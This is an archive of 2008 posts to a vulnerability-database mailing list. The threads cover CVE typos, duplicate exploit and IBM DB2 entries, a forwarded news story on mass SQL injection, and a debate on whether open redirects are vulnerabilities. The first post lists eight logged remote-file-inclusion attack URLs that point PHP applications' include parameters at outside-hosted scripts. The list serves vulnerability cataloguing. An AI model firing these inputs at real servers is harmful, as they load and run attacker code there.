From jericho at attrition.org Thu Apr 3 10:24:18 2008 From: jericho at attrition.org (security curmudgeon) Date: Thu, 3 Apr 2008 10:24:18 +0000 (UTC) Subject: [VIM] recent round of RFI from logs Message-ID: Quick searches didn't find these in OSVDB. I haven't had time to check the other VDBs. /contenido/external/frontend/news.php?cfg[path][includes]=http://www.jef.at/vn /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://www.pusanfood.com/bbs//skin/zero_vote//data/res.txt?? /claroline/tracking/userLog.php?rootSys=http://www.free-ddl.com/siteadmin/test.txt%3f%3f%3f /admin/cron_pop.php?adm_path=http://www.smagz.com/bo.do%3f%3f /class/class.dashboard_lms.php?where_framework=http://www.randdesign.de/ppoint/include/main.txt?? /modules/TotalCalendar/validcode.php?inc_dir=http://www.geocities.com/injitinjitsemut/cmd1.txt?? /classified_right.php?language_dir=http://www.gracesalesco.com/gracesalescocalendar//tools/test.txt?? /bookmark4u/lostpasswd.php?env%5Binclude_prefix%5D=http://www.unescoulsan.org/bbs//data/safe1.txt??? From noamr at beyondsecurity.com Sun Apr 6 06:06:51 2008 From: noamr at beyondsecurity.com (Noam Rathaus) Date: Sun, 6 Apr 2008 08:06:51 +0200 Subject: [VIM] Spelling mistake (offesive :) ) Message-ID: <200804060906.52329.noamr@beyondsecurity.com> Hi, In http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1358 you can find: "Sack-based buffer overflow in the IMAP server in Alt-N Technologies MDaemon 9.6.4 allows remote authenticated users to execute arbitrary code via a FETCH command with a long BODY." It was problem meant to be stack :) instead its sack :) Not sure who to contact to get this fixed. -- Noam Rathaus CTO noamr at beyondsecurity.com http://www.beyondsecurity.com "Know that you are safe." Beyond Security Finalist for the "Red Herring 100 Global" Awards 2007 From jericho at attrition.org Sun Apr 6 06:09:16 2008 From: jericho at attrition.org (security curmudgeon) Date: Sun, 6 Apr 2008 06:09:16 +0000 (UTC) Subject: [VIM] Spelling mistake (offesive :) ) In-Reply-To: <200804060906.52329.noamr@beyondsecurity.com> References: <200804060906.52329.noamr@beyondsecurity.com> Message-ID: : In http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1358 you can find: : "Sack-based buffer overflow in the IMAP server in Alt-N Technologies : MDaemon 9.6.4 allows remote authenticated users to execute arbitrary : code via a FETCH command with a long BODY." : : It was problem meant to be stack :) instead its sack :) : : Not sure who to contact to get this fixed. The fastest way to report and get spelling errors fixed for this, is to mail Steve Christey / CVE directly. Since NVD pulls their data from CVE, the changes need to originate there. Steve also prioritizes mails like that and makes the fast changes very quickly. Failing that, he obviously reads VIM as well. =) From noamr at beyondsecurity.com Sun Apr 6 06:33:39 2008 From: noamr at beyondsecurity.com (Noam Rathaus) Date: Sun, 6 Apr 2008 08:33:39 +0200 Subject: [VIM] Spelling mistake (offesive :) ) In-Reply-To: References: <200804060906.52329.noamr@beyondsecurity.com> Message-ID: <200804060933.39524.noamr@beyondsecurity.com> Thx :) for the info. On Sunday 06 April 2008 09:09:16 security curmudgeon wrote: > : In http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1358 you can find: > : "Sack-based buffer overflow in the IMAP server in Alt-N Technologies > : MDaemon 9.6.4 allows remote authenticated users to execute arbitrary > : code via a FETCH command with a long BODY." > : > : It was problem meant to be stack :) instead its sack :) > : > : Not sure who to contact to get this fixed. > > The fastest way to report and get spelling errors fixed for this, is to > mail Steve Christey / CVE directly. Since NVD pulls their data from CVE, > the changes need to originate there. Steve also prioritizes mails like > that and makes the fast changes very quickly. > > Failing that, he obviously reads VIM as well. =) -- Noam Rathaus CTO noamr at beyondsecurity.com http://www.beyondsecurity.com "Know that you are safe." Beyond Security Finalist for the "Red Herring 100 Global" Awards 2007 From coley at linus.mitre.org Sun Apr 6 23:02:20 2008 From: coley at linus.mitre.org (Steven M. Christey) Date: Sun, 6 Apr 2008 19:02:20 -0400 (EDT) Subject: [VIM] Spelling mistake (offesive :) ) In-Reply-To: <200804060906.52329.noamr@beyondsecurity.com> References: <200804060906.52329.noamr@beyondsecurity.com> Message-ID: On Sun, 6 Apr 2008, Noam Rathaus wrote: > Not sure who to contact to get this fixed. Well, looks like posting it to the whole VIM list worked ;-) I took care of it. I forget which word it is, but there's some fairly common vuln-related word where a typo produces a worse word than the one you mentioned. I suppose our crude spell checker should flag these. - Steve From theall at tenablesecurity.com Tue Apr 29 01:29:02 2008 From: theall at tenablesecurity.com (George A. Theall) Date: Mon, 28 Apr 2008 21:29:02 -0400 Subject: [VIM] AlphaContent SQL Injection Message-ID: <4CF11AE7-D541-475D-BA98-D4DAB0B9FB03@tenablesecurity.com> What's the difference between milw0rm 5310 / Bugtraq 28443 and milw0rm 5512 / Bugtraq 28964? The parameters involved in the exploits are the same. The former seems to affect only versions 2.5.8 and older: http://www.visualclinic.fr/component/option,com_joomlaboard/Itemid,46/func,view/id,3924/catid,2/ Is the newer issue known to affected a more recent release? George -- theall at tenablesecurity.com From str0ke at milw0rm.com Tue Apr 29 03:25:59 2008 From: str0ke at milw0rm.com (str0ke) Date: Mon, 28 Apr 2008 22:25:59 -0500 Subject: [VIM] AlphaContent SQL Injection In-Reply-To: <4CF11AE7-D541-475D-BA98-D4DAB0B9FB03@tenablesecurity.com> References: <4CF11AE7-D541-475D-BA98-D4DAB0B9FB03@tenablesecurity.com> Message-ID: <48169547.9040003@milw0rm.com> Hey George, I was distracted on this one :) The latest author sent this in with comment lines being wrong, caught me off guard on my normal routine, and went up after testing. /str0ke George A. Theall wrote: > What's the difference between milw0rm 5310 / Bugtraq 28443 and milw0rm > 5512 / Bugtraq 28964? The parameters involved in the exploits are the > same. The former seems to affect only versions 2.5.8 and older: > > > http://www.visualclinic.fr/component/option,com_joomlaboard/Itemid,46/func,view/id,3924/catid,2/ > > > Is the newer issue known to affected a more recent release? > > George From jericho at attrition.org Tue Apr 29 08:49:05 2008 From: jericho at attrition.org (security curmudgeon) Date: Tue, 29 Apr 2008 08:49:05 +0000 (UTC) Subject: [VIM] Department of Homeland Security website hacked! (fwd) Message-ID: Be curious to search Google for the string and try to determine how many of these sites were vulnerable, but NOT running custom-built sites, rather running COTS that happen to be vulnerable. ---------- Forwarded message ---------- From: InfoSec News http://www.theregister.co.uk/2008/04/25/mass_web_attack_grows/ By Dan Goodin The Register 25th April 2008 The sophisticated mass infection that's injecting attack code into hundreds of thousands of reputable web pages is growing and even infiltrated the website of the Department of Homeland Security. While so-called SQL injections are nothing new, this latest attack, which we we reported earlier, is notable for its ability to infect huge numbers of pages using only a single string of text. At time of writing, Google searches here, here and here showed almost 520,000 pages containing the infection string, though the exact number changes almost constantly. As the screenshot below shows, even the DHS, which is responsible for protecting US infrastructure against cyber attacks, wasn't immune. Other hacked sites include those belonging to the United Nations and the UK Civil Service. The attack causes infected sites to redirect visitors to destinations that attempt to install malware on vulnerable machines. At time of writing, the malicious payloads attacked vulnerabilities that already have been patched. And in any case all three of the redirection sites were down, possibly because they were unable to handle the demand. But should the attackers get their hands on a newer exploit - say, one targeting a zero-day vulnerability in QuickTime - it would be relatively easy for them to swap out the payload. One reason the infection has spread so widely is the attackers have managed to find a single attack string that seems to work on tens of thousands of different sites. Most web applications are custom -built for a particular site, so attackers likewise have to custom design attack parameters to exploit weakness. Not so here. "These guys look like they've found a methodology to get a successful SQL injection generically across [many] websites," said Jeremiah Grossman, CTO of WhiteHat Security, which helps companies secure web applications. "That right there is like a skeleton key." [..] From coley at mitre.org Wed Apr 30 14:49:25 2008 From: coley at mitre.org (Steven M. Christey) Date: Wed, 30 Apr 2008 10:49:25 -0400 (EDT) Subject: [VIM] Open redirects - yes or no? Message-ID: <200804301449.m3UEnPZm003600@faron.mitre.org> CVE has been adding "open redirect" issues lately, where you have something like: myapp.php?url=http://www.example.com/PHISHME Typically, a vulnerable application will read the url argument and construct a response that redirects the user to that URL. The general rationale is for the application to redirect a user to another part of the site, e.g. if a login failed. The typical implementations I've seen either use a Location: header or a META-REFRESH. CVE-2008-0981 and CVE-2008-0613 are recent examples. But, I've noticed that other VDBs aren't necessarily covering these. My rationale for inclusion in CVE is that open redirects are useful for redirecting a user from a legitimate site to a malicious site where the malicious site is either used for phishing or drive-by exploitation. I suspect that many implemented redirects would be automatic, so in the drive-by example it's irrelevant if a cautious user looks at the browser's address bar, as the malware probably would have already implanted itself. This usually is not intended by the program serving up the URL, and so it's technically a security issue because of the violation of the program's intended security policy. At least that's my general reasoning. The attack topology has things in common with reflected XSS (attacker-to-user-who-clicks), which I think is generally treated as a security issue even if it's typically user-assisted. And I suspect there might be some stored-XSS-style attacks too. What do others think of this? - Steve From noamr at beyondsecurity.com Wed Apr 30 15:17:07 2008 From: noamr at beyondsecurity.com (Noam Rathaus) Date: Wed, 30 Apr 2008 18:17:07 +0300 Subject: [VIM] Open redirects - yes or no? In-Reply-To: <200804301449.m3UEnPZm003600@faron.mitre.org> References: <200804301449.m3UEnPZm003600@faron.mitre.org> Message-ID: <200804301817.07631.noamr@beyondsecurity.com> Hi, My personal dislike for this is that in some cases the URL is doing what it was asked to do - no one said that the URL should be local to the site or application. So that this link or quite known application would fall under your category for a open redirect: http://www.google.com/search?hl=en&q=CVE-2002-0419+windows+2003&btnI=I%27m+Feeling+Lucky Which redirects you to Location: http://www.hitrust.com.hk/whitepaper/2.1/sample_report.pdf Or this: http://www.google.com/search?num=100&hl=en&safe=off&q=CVE-2008-0032++securiteam&btnI=I%27m+Feeling+Lucky Redirecting you to our site. I m quite sure people don't think Google's app is vulnerable. In the same way I don't think an "open direct" is vulnerable - rather doing what it was asked. If it were a XSS of some sort I would have been more keen to accept it. On Wednesday 30 April 2008 17:49:25 Steven M. Christey wrote: > CVE has been adding "open redirect" issues lately, where you have > something like: > > myapp.php?url=http://www.example.com/PHISHME > > > Typically, a vulnerable application will read the url argument and > construct a response that redirects the user to that URL. The general > rationale is for the application to redirect a user to another part of > the site, e.g. if a login failed. > > The typical implementations I've seen either use a Location: header or > a META-REFRESH. CVE-2008-0981 and CVE-2008-0613 are recent examples. > > But, I've noticed that other VDBs aren't necessarily covering these. > > My rationale for inclusion in CVE is that open redirects are useful > for redirecting a user from a legitimate site to a malicious site > where the malicious site is either used for phishing or drive-by > exploitation. I suspect that many implemented redirects would be > automatic, so in the drive-by example it's irrelevant if a cautious > user looks at the browser's address bar, as the malware probably would > have already implanted itself. This usually is not intended by the > program serving up the URL, and so it's technically a security issue > because of the violation of the program's intended security policy. > At least that's my general reasoning. > > The attack topology has things in common with reflected XSS > (attacker-to-user-who-clicks), which I think is generally treated as a > security issue even if it's typically user-assisted. And I suspect > there might be some stored-XSS-style attacks too. > > What do others think of this? > > - Steve -- Noam Rathaus CTO noamr at beyondsecurity.com http://www.beyondsecurity.com "Know that you are safe." Beyond Security Finalist for the "Red Herring 100 Global" Awards 2007 From jericho at attrition.org Wed Apr 30 19:06:33 2008 From: jericho at attrition.org (security curmudgeon) Date: Wed, 30 Apr 2008 19:06:33 +0000 (UTC) Subject: [VIM] Open redirects - yes or no? In-Reply-To: <200804301449.m3UEnPZm003600@faron.mitre.org> References: <200804301449.m3UEnPZm003600@faron.mitre.org> Message-ID: : But, I've noticed that other VDBs aren't necessarily covering these. OSVDB typically adds these. : My rationale for inclusion in CVE is that open redirects are useful for : redirecting a user from a legitimate site to a malicious site where the : malicious site is either used for phishing or drive-by exploitation. I : suspect that many implemented redirects would be automatic, so in the : drive-by example it's irrelevant if a cautious user looks at the : browser's address bar, as the malware probably would have already : implanted itself. This usually is not intended by the program serving : up the URL, and so it's technically a security issue because of the : violation of the program's intended security policy. At least that's my : general reasoning. : : The attack topology has things in common with reflected XSS : (attacker-to-user-who-clicks), which I think is generally treated as a : security issue even if it's typically user-assisted. And I suspect : there might be some stored-XSS-style attacks too. : : What do others think of this? The phishing vector is what warrants inclusion in my mind. When doing application tests, we ding clients for this as well, especially financial groups. Redirects should only work for the same site, any external redirects should go to a logout/splash page indicating the user/customer is leaving the legitimate site. If that is in place, we don't ding the client at work, and we don't add it to OSVDB. .b From jericho at attrition.org Wed Apr 30 19:10:09 2008 From: jericho at attrition.org (security curmudgeon) Date: Wed, 30 Apr 2008 19:10:09 +0000 (UTC) Subject: [VIM] Open redirects - yes or no? In-Reply-To: <200804301817.07631.noamr@beyondsecurity.com> References: <200804301449.m3UEnPZm003600@faron.mitre.org> <200804301817.07631.noamr@beyondsecurity.com> Message-ID: : So that this link or quite known application would fall under your : category for a open redirect: : http://www.google.com/search?hl=en&q=CVE-2002-0419+windows+2003&btnI=I%27m+Feeling+Lucky : : Which redirects you to Location: : http://www.hitrust.com.hk/whitepaper/2.1/sample_report.pdf : : Or this: : http://www.google.com/search?num=100&hl=en&safe=off&q=CVE-2008-0032++securiteam&btnI=I%27m+Feeling+Lucky : : Redirecting you to our site. Google's primary function in life is to redirect you places. When you visit a search engine, you know you are going to click and end up elsewhere. If I visit http://www.mybank.com/[anything], I expect to go to my bank and no other site, regardless of how they redirect me (intentionally or otherwise). People have actually harped on Google for the redirect system many times. Many folks did the same with tinyurl who made the 'preview' feature so you can see where you are being redirected to in order to avoid 'exploit' style URLs. That is the appropriate 'fix' to the issue I believe. From noamr at beyondsecurity.com Wed Apr 30 19:17:53 2008 From: noamr at beyondsecurity.com (Noam Rathaus) Date: Wed, 30 Apr 2008 22:17:53 +0300 Subject: [VIM] Open redirects - yes or no? In-Reply-To: References: <200804301449.m3UEnPZm003600@faron.mitre.org> <200804301817.07631.noamr@beyondsecurity.com> Message-ID: <200804302217.53786.noamr@beyondsecurity.com> Hi, On Wednesday 30 April 2008 22:10:09 security curmudgeon wrote: > : So that this link or quite known application would fall under your > : category for a open redirect: > : http://www.google.com/search?hl=en&q=CVE-2002-0419+windows+2003&btnI=I%27 > :m+Feeling+Lucky > : > : Which redirects you to Location: > : http://www.hitrust.com.hk/whitepaper/2.1/sample_report.pdf > : > : Or this: > : http://www.google.com/search?num=100&hl=en&safe=off&q=CVE-2008-0032++secu > :riteam&btnI=I%27m+Feeling+Lucky > : > : Redirecting you to our site. > > Google's primary function in life is to redirect you places. When you > visit a search engine, you know you are going to click and end up > elsewhere. > > If I visit http://www.mybank.com/[anything], I expect to go to my bank > and no other site, regardless of how they redirect me (intentionally or > otherwise). But I didn't visit www.mybank.com, I visited - usually - redirect.php or login.php with a specific parameter called url= or redirect= ... :) That is why I think the PHP is doing what it is asked for - redirecting you - the programmer decided to not be too strict on the URL - his choice - a bad one - but his choice to make. Unlike SQL Injection, Code Injection, Cross Site Scripting, redirections are redirections even if they don't get you to where we think they should - i.e. never outside their site. > > People have actually harped on Google for the redirect system many times. > Many folks did the same with tinyurl who made the 'preview' feature so > you can see where you are being redirected to in order to avoid 'exploit' > style URLs. That is the appropriate 'fix' to the issue I believe. -- Noam Rathaus CTO noamr at beyondsecurity.com http://www.beyondsecurity.com "Know that you are safe." Beyond Security Finalist for the "Red Herring 100 Global" Awards 2007 From jericho at attrition.org Wed Apr 30 20:20:14 2008 From: jericho at attrition.org (security curmudgeon) Date: Wed, 30 Apr 2008 20:20:14 +0000 (UTC) Subject: [VIM] CVE Dupes: 2007-4418 and 2005-2073 and CVE-2007-1089 Message-ID: Normally I mail these directly to Steve, but I am sharing this as a cautionary tale for dealing with IBM vulnerabilities. OSVDB had dupes as a result of this (independant of CVE) mess as well. The root cause is IBM releasing a changelog with vague details, with different APAR numbers for the same issue, then later making the APAR details public. http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-2073 Changelog: http://www-1.ibm.com/support/docview.wss?uid=swg21209727 APAR: http://www-1.ibm.com/support/docview.wss?uid=swg1IY73104 This was a vague issue from a changelog, and the APAR was not open at the time, so we only had a few words to go off of. http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-4418 Changelog: http://www-1.ibm.com/support/docview.wss?uid=swg21255352 APAR: http://www-1.ibm.com/support/docview.wss?uid=swg1JR25940 Same thing, the changelog was there with a vague idea, but the APAR wasn't open or available. This CVE (2007-4418) also says it may be a duplicate to CVE 2007-1089. http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-1089 No changelog but this APAR: http://www-1.ibm.com/support/docview.wss?uid=swg1JR25941 Now, look at these APARs: http://www-1.ibm.com/support/docview.wss?uid=swg1IY73104 http://www-1.ibm.com/support/docview.wss?uid=swg1JR25940 http://www-1.ibm.com/support/docview.wss?uid=swg1JR25941 25940 and 25941 are linked to each other (so CVE 2007-4418 and CVE 2007-0189 are dupe), but neither references 73104. However, all three APARs are the same issue, most of the APAR vulnerability description is the same. Long story short, IBM needs to get their act together as they are only hurting themselves as VDBs create extra entries for the same issue, giving the impression that their products are more vulnerable than they really are. From jericho at attrition.org Wed Apr 30 20:23:17 2008 From: jericho at attrition.org (security curmudgeon) Date: Wed, 30 Apr 2008 20:23:17 +0000 (UTC) Subject: [VIM] CVE Dupes: 2007-4418 and 2005-2073 and CVE-2007-1089 In-Reply-To: References: Message-ID: Oh, I should clarify: : APAR: : http://www-1.ibm.com/support/docview.wss?uid=swg1IY73104 Fixes: DB2 Universal Database Version 8 FixPak 9a (also known as Version 8.2 FixPak 2a) DB2 UDB Version 8.1 FixPak 10 (also known as Version 8.2 FixPak 3) DB2 UDB Version 8.1 FixPak 11 (also known as Version 8.2 FixPak 4) DB2 UDB Version 8.1 FixPak 12 (also known as Version 8.2 FixPak 5) DB2 UDB Version 8.1 FixPak 13 (also known as Version 8.2 FixPak 6) DB2 UDB Version 8.1 FixPak 14 (also known as Version 8.2 FixPak 7) DB2 Universal Database Version 8 FixPak 8a (also known as Version 8.2 FixPak 1a) DB2 UDB Version 8.1 FixPak 15 (also known as Version 8.2 FixPak 8) DB2 UDB Version 8.1 FixPak 16 (also known as Version 8.2 FixPak 9) : APAR: : http://www-1.ibm.com/support/docview.wss?uid=swg1JR25940 DB2 UDB Version 8.1 FixPak 15 (also known as Version 8.2 FixPak 8) DB2 UDB Version 8.1 FixPak 16 (also known as Version 8.2 FixPak 9) : No changelog but this APAR: : http://www-1.ibm.com/support/docview.wss?uid=swg1JR25941 DB2 Version 9.1 Fix Pack 2 for Linux, UNIX and Windows DB2 Version 9.1 Fix Pack 3 for Linux, UNIX and Windows DB2 Version 9.1 Interim Fix Pack 3a for Linux, UNIX and Windows DB2 Version 9.1 Fix Pack 4 for Linux, UNIX and Windows DB2 Version 9.1 Fix Pack 4a for Linux, UNIX and Windows So we definitely have different versions affected, mainly between the 8 and 9 branches. That is why we have APAR 2594[0|1] and they are linked. But it doesn't explain 73104 and no links to the other APARs, especially 25940.